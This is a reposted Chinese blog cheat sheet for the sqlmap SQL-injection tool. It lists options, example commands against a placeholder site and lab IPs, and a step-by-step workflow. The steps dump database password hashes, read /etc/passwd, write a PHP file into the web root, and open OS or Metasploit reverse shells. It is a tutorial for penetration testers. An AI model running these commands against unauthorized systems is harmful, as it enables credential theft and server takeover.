sqlmap简单使用笔记

喜欢ヅ旅行 2022-01-09 22:05 461阅读 0赞

[?][Link 1]

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div> 
     <div> 
      <code>-u </code> 
      <code>#注入点</code> 
     </div> 
     <div> 
      <code>-f </code> 
      <code>#指纹判别数据库类型</code> 
     </div> 
     <div> 
      <code>-b </code> 
      <code>#获取数据库版本信息</code> 
     </div> 
     <div> 
      <code>-p </code> 
      <code>#指定可测试的参数(?page=1&amp;id=2 -p "page,id")</code> 
     </div> 
     <div> 
      <code>-D </code> 
      <code>""</code> 
      <code>#指定数据库名</code> 
     </div> 
     <div> 
      <code>-T </code> 
      <code>""</code> 
      <code>#指定表名</code> 
     </div> 
     <div> 
      <code>-C </code> 
      <code>""</code> 
      <code>#指定字段</code> 
     </div> 
     <div> 
      <code>-s </code> 
      <code>""</code> 
      <code>#保存注入过程到一个文件,还可中断，下次恢复在注入(保存：-s "xx.log"　　恢复:-s "xx.log" --resume)</code> 
     </div> 
     <div> 
      <code>--level=(1-5) </code> 
      <code>#要执行的测试水平等级，默认为1</code> 
     </div> 
     <div> 
      <code>--risk=(0-3) </code> 
      <code>#测试执行的风险等级，默认为1</code> 
     </div> 
     <div> 
      <code>--</code> 
      <code>time</code> 
      <code>-sec=(2,5) </code> 
      <code>#延迟响应，默认为5</code> 
     </div> 
     <div> 
      <code>--data </code> 
      <code>#通过POST发送数据</code> 
     </div> 
     <div> 
      <code>--columns </code> 
      <code>#列出字段</code> 
     </div> 
     <div> 
      <code>--current-user </code> 
      <code>#获取当前用户名称</code> 
     </div> 
     <div> 
      <code>--current-db </code> 
      <code>#获取当前数据库名称</code> 
     </div> 
     <div> 
      <code>--</code> 
      <code>users</code> 
      <code>#列数据库所有用户</code> 
     </div> 
     <div> 
      <code>--passwords </code> 
      <code>#数据库用户所有密码</code> 
     </div> 
     <div> 
      <code>--privileges </code> 
      <code>#查看用户权限(--privileges -U root)</code> 
     </div> 
     <div> 
      <code>-U </code> 
      <code>#指定数据库用户</code> 
     </div> 
     <div> 
      <code>--dbs </code> 
      <code>#列出所有数据库</code> 
     </div> 
     <div> 
      <code>--tables -D </code> 
      <code>""</code> 
      <code>#列出指定数据库中的表</code> 
     </div> 
     <div> 
      <code>--columns -T </code> 
      <code>"user"</code> 
      <code>-D </code> 
      <code>"mysql"</code> 
      <code>#列出mysql数据库中的user表的所有字段</code> 
     </div> 
     <div> 
      <code>--dump-all </code> 
      <code>#列出所有数据库所有表</code> 
     </div> 
     <div> 
      <code>--exclude-sysdbs </code> 
      <code>#只列出用户自己新建的数据库和表</code> 
     </div> 
     <div> 
      <code>--dump -T </code> 
      <code>""</code> 
      <code>-D </code> 
      <code>""</code> 
      <code>-C </code> 
      <code>""</code> 
      <code>#列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)</code> 
     </div> 
     <div> 
      <code>--dump -T </code> 
      <code>""</code> 
      <code>-D </code> 
      <code>""</code> 
      <code>--start 2 --</code> 
      <code>top</code> 
      <code>4 </code> 
      <code># 列出指定数据库的表的2-4字段的数据</code> 
     </div> 
     <div> 
      <code>--dbms </code> 
      <code>#指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)</code> 
     </div> 
     <div> 
      <code>--os </code> 
      <code>#指定系统(Linux,Windows)</code> 
     </div> 
     <div> 
      <code>-</code> 
      <code>v</code> 
      <code>#详细的等级(0-6)</code> 
     </div> 
     <div> 
      <code></code> 
      <code>0：只显示Python的回溯，错误和关键消息。</code> 
     </div> 
     <div> 
      <code></code> 
      <code>1：显示信息和警告消息。</code> 
     </div> 
     <div> 
      <code></code> 
      <code>2：显示调试消息。</code> 
     </div> 
     <div> 
      <code></code> 
      <code>3：有效载荷注入。</code> 
     </div> 
     <div> 
      <code></code> 
      <code>4：显示HTTP请求。</code> 
     </div> 
     <div> 
      <code></code> 
      <code>5：显示HTTP响应头。</code> 
     </div> 
     <div> 
      <code></code> 
      <code>6：显示HTTP响应页面的内容</code> 
     </div> 
     <div> 
      <code>--privileges </code> 
      <code>#查看权限</code> 
     </div> 
     <div> 
      <code>--is-dba </code> 
      <code>#是否是数据库管理员</code> 
     </div> 
     <div> 
      <code>--roles </code> 
      <code>#枚举数据库用户角色</code> 
     </div> 
     <div> 
      <code>--udf-inject </code> 
      <code>#导入用户自定义函数（获取系统权限）</code> 
     </div> 
     <div> 
      <code>--union-check </code> 
      <code>#是否支持union 注入</code> 
     </div> 
     <div> 
      <code>--union-cols </code> 
      <code>#union 查询表记录</code> 
     </div> 
     <div> 
      <code>--union-</code> 
      <code>test</code> 
      <code>#union 语句测试</code> 
     </div> 
     <div> 
      <code>--union-use </code> 
      <code>#采用union 注入</code> 
     </div> 
     <div> 
      <code>--union-tech orderby </code> 
      <code>#union配合order by</code> 
     </div> 
     <div> 
      <code>--data </code> 
      <code>""</code> 
      <code>#POST方式提交数据(--data "page=1&amp;id=2")</code> 
     </div> 
     <div> 
      <code>--cookie </code> 
      <code>"用;号分开"</code> 
      <code>#cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)</code> 
     </div> 
     <div> 
      <code>--referer </code> 
      <code>""</code> 
      <code>#使用referer欺骗(--referer "<a href="http://www.baidu.com/" rel="nofollow">http://www.baidu.com</a>")</code> 
     </div> 
     <div> 
      <code>--user-agent </code> 
      <code>""</code> 
      <code>#自定义user-agent</code> 
     </div> 
     <div> 
      <code>--proxy </code> 
      <code>"<a href="http://127.0.0.1:8118/" rel="nofollow">http://127.0.0.1:8118</a>"</code> 
      <code>#代理注入</code> 
     </div> 
     <div> 
      <code>--string=</code> 
      <code>""</code> 
      <code>#指定关键词,字符串匹配.</code> 
     </div> 
     <div> 
      <code>--threads 　　 </code> 
      <code>#采用多线程(--threads 3)</code> 
     </div> 
     <div> 
      <code>--sql-shell </code> 
      <code>#执行指定sql命令</code> 
     </div> 
     <div> 
      <code>--sql-query </code> 
      <code>#执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )</code> 
     </div> 
     <div> 
      <code>--</code> 
      <code>file</code> 
      <code>-</code> 
      <code>read</code> 
      <code>#读取指定文件</code> 
     </div> 
     <div> 
      <code>--</code> 
      <code>file</code> 
      <code>-write </code> 
      <code>#写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)</code> 
     </div> 
     <div> 
      <code>--</code> 
      <code>file</code> 
      <code>-dest </code> 
      <code>#要写入的文件绝对路径</code> 
     </div> 
     <div> 
      <code>--os-cmd=</code> 
      <code>id</code> 
      <code>#执行系统命令</code> 
     </div> 
     <div> 
      <code>--os-shell </code> 
      <code>#系统交互shell</code> 
     </div> 
     <div> 
      <code>--os-pwn </code> 
      <code>#反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)</code> 
     </div> 
     <div> 
      <code>--msf-path= </code> 
      <code>#matesploit绝对路径(--msf-path=/opt/framework/msf3/)</code> 
     </div> 
     <div> 
      <code>--os-smbrelay </code> 
      <code>#</code> 
     </div> 
     <div> 
      <code>--os-bof </code> 
      <code>#</code> 
     </div> 
     <div> 
      <code>--reg-</code> 
      <code>read</code> 
      <code>#读取win系统注册表</code> 
     </div> 
     <div> 
      <code>--priv-esc </code> 
      <code>#</code> 
     </div> 
     <div> 
      <code>--</code> 
      <code>time</code> 
      <code>-sec= </code> 
      <code>#延迟设置 默认--time-sec=5 为5秒</code> 
     </div> 
     <div> 
      <code>-p </code> 
      <code>"user-agent"</code> 
      <code>--user-agent </code> 
      <code>"sqlmap/0.7rc1 (<a href="http://sqlmap.sourceforge.net/" rel="nofollow">http://sqlmap.sourceforge.net</a>)"</code> 
      <code>#指定user-agent注入</code> 
     </div> 
     <div> 
      <code>--eta </code> 
      <code>#盲注</code> 
     </div> 
     <div></div> 
     <div> 
      <code>/pentest/database/sqlmap/txt/</code> 
     </div> 
     <div> 
      <code>common-columns.txt　　字段字典　　　</code> 
     </div> 
     <div> 
      <code>common-outputs.txt</code> 
     </div> 
     <div> 
      <code>common-tables.txt 表字典</code> 
     </div> 
     <div> 
      <code>keywords.txt</code> 
     </div> 
     <div> 
      <code>oracle-default-passwords.txt</code> 
     </div> 
     <div> 
      <code>user-agents.txt</code> 
     </div> 
     <div> 
      <code>wordlist.txt</code> 
     </div> 
     <div></div> 
     <div> 
      <code>常用语句</code> 
     </div> 
     <div> 
      <code>1.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -f -b --current-user --current-db --</code> 
      <code>users</code> 
      <code>--passwords --dbs -</code> 
      <code>v</code> 
      <code>0</code> 
     </div> 
     <div> 
      <code>2.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --passwords -U root --union-use -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>3.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --dump -T </code> 
      <code>users</code> 
      <code>-C username -D userdb --start 2 --stop 3 -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>4.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --dump -C </code> 
      <code>"user,pass"</code> 
      <code>-</code> 
      <code>v</code> 
      <code>1 --exclude-sysdbs</code> 
     </div> 
     <div> 
      <code>5.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --sql-shell -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>6.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --</code> 
      <code>file</code> 
      <code>-</code> 
      <code>read</code> 
      <code>"c:\boot.ini"</code> 
      <code>-</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>7.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --</code> 
      <code>file</code> 
      <code>-write </code> 
      <code>/test/test</code> 
      <code>.txt --</code> 
      <code>file</code> 
      <code>-dest </code> 
      <code>/var/www/html/1</code> 
      <code>.txt -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>8.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --os-cmd </code> 
      <code>"id"</code> 
      <code>-</code> 
      <code>v</code> 
      <code>1</code> 
     </div> 
     <div> 
      <code>9.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --os-shell --union-use -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>10.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --os-pwn --msf-path=</code> 
      <code>/opt/framework/msf3</code> 
      <code>--priv-esc -</code> 
      <code>v</code> 
      <code>1</code> 
     </div> 
     <div> 
      <code>11.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --os-pwn --msf-path=</code> 
      <code>/opt/framework/msf3</code> 
      <code>-</code> 
      <code>v</code> 
      <code>1</code> 
     </div> 
     <div> 
      <code>12.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --os-bof --msf-path=</code> 
      <code>/opt/framework/msf3</code> 
      <code>-</code> 
      <code>v</code> 
      <code>1</code> 
     </div> 
     <div> 
      <code>13.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --reg-add --reg-key=</code> 
      <code>"HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap"</code> 
      <code>--reg-value=Test --reg-</code> 
      <code>type</code> 
      <code>=REG_SZ --reg-data=1</code> 
     </div> 
     <div> 
      <code>14.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -b --eta</code> 
     </div> 
     <div> 
      <code>15.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u </code> 
      <code>"<a href="http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" rel="nofollow">http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1</a>"</code> 
      <code>-p </code> 
      <code>id</code> 
      <code>--prefix </code> 
      <code>"')"</code> 
      <code>--suffix </code> 
      <code>"AND ('abc'='abc"</code> 
     </div> 
     <div> 
      <code>16.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u </code> 
      <code>"<a href="http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" rel="nofollow">http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1</a>"</code> 
      <code>--auth-</code> 
      <code>type</code> 
      <code>Basic --auth-cred </code> 
      <code>"testuser:testpass"</code> 
     </div> 
     <div> 
      <code>17.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -l burp.log --scope=</code> 
      <code>"(www)?\.target\.(com|net|org)"</code> 
     </div> 
     <div> 
      <code>18.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u </code> 
      <code>"<a href="http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" rel="nofollow">http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</a>"</code> 
      <code>--tamper tamper</code> 
      <code>/between</code> 
      <code>.py,tamper</code> 
      <code>/randomcase</code> 
      <code>.py,tamper</code> 
      <code>/space2comment</code> 
      <code>.py -</code> 
      <code>v</code> 
      <code>3</code> 
     </div> 
     <div> 
      <code>19.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u </code> 
      <code>"<a href="http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" rel="nofollow">http://192.168.136.131/sqlmap/mssql/get_int.php?id=1</a>"</code> 
      <code>--sql-query </code> 
      <code>"SELECT 'foo'"</code> 
      <code>-</code> 
      <code>v</code> 
      <code>1</code> 
     </div> 
     <div> 
      <code>20.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u </code> 
      <code>"<a href="http://192.168.136.129/mysql/get_int_4.php?id=1" rel="nofollow">http://192.168.136.129/mysql/get_int_4.php?id=1</a>"</code> 
      <code>--common-tables -D testdb --banner</code> 
     </div> 
     <div> 
      <code>21.</code> 
     </div> 
     <div> 
      <code>.</code> 
      <code>/sqlmap</code> 
      <code>.py -u </code> 
      <code>"<a href="http://192.168.136.129/mysql/get_int_4.php?id=1" rel="nofollow">http://192.168.136.129/mysql/get_int_4.php?id=1</a>"</code> 
      <code>--cookie=</code> 
      <code>"PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low"</code> 
      <code>--string=</code> 
      <code>'xx'</code> 
      <code>--dbs --level=3 -p </code> 
      <code>"uid"</code> 
     </div> 
     <div></div> 
     <div> 
      <code>简单的注入流程</code> 
     </div> 
     <div> 
      <code>1.读取数据库版本，当前用户，当前数据库</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 -f -b --current-user --current-db -</code> 
      <code>v</code> 
      <code>1</code> 
     </div> 
     <div> 
      <code>2.判断当前数据库用户权限</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --privileges -U 用户名 -</code> 
      <code>v</code> 
      <code>1</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --is-dba -U 用户名 -</code> 
      <code>v</code> 
      <code>1</code> 
     </div> 
     <div> 
      <code>3.读取所有数据库用户或指定数据库用户的密码</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --</code> 
      <code>users</code> 
      <code>--passwords -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --passwords -U root -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>4.获取所有数据库</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --dbs -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>5.获取指定数据库中的所有表</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --tables -D mysql -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>6.获取指定数据库名中指定表的字段</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --columns -D mysql -T </code> 
      <code>users</code> 
      <code>-</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>7.获取指定数据库名中指定表中指定字段的数据</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --dump -D mysql -T </code> 
      <code>users</code> 
      <code>-C </code> 
      <code>"username,password"</code> 
      <code>-s </code> 
      <code>"sqlnmapdb.log"</code> 
      <code>-</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>8.</code> 
      <code>file</code> 
      <code>-</code> 
      <code>read</code> 
      <code>读取web文件</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --</code> 
      <code>file</code> 
      <code>-</code> 
      <code>read</code> 
      <code>"/etc/passwd"</code> 
      <code>-</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
     <div> 
      <code>9.</code> 
      <code>file</code> 
      <code>-write写入文件到web</code> 
     </div> 
     <div> 
      <code>sqlmap -u http:</code> 
      <code>//www</code> 
      <code>.xxxxx.com</code> 
      <code>/test</code> 
      <code>.php?p=2 --</code> 
      <code>file</code> 
      <code>-write </code> 
      <code>/localhost/mm</code> 
      <code>.php --</code> 
      <code>file</code> 
      <code>-dest </code> 
      <code>/var/www/html/xx</code> 
      <code>.php -</code> 
      <code>v</code> 
      <code>2</code> 
     </div> 
    </div></td> 
  </tr> 
 </tbody> 
</table>

更加详细使用手册详见：  
[http://drops.wooyun.org/tips/143][http_drops.wooyun.org_tips_143]  
[http://drops.wooyun.org/tips/401][http_drops.wooyun.org_tips_401]

转载于:https://blog.51cto.com/jzking121/1303254

[Link 1]: http://blog.bug.cx/2012/06/15/sqlmap%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/#
[http_drops.wooyun.org_tips_143]: http://drops.wooyun.org/tips/143
[http_drops.wooyun.org_tips_401]: http://drops.wooyun.org/tips/401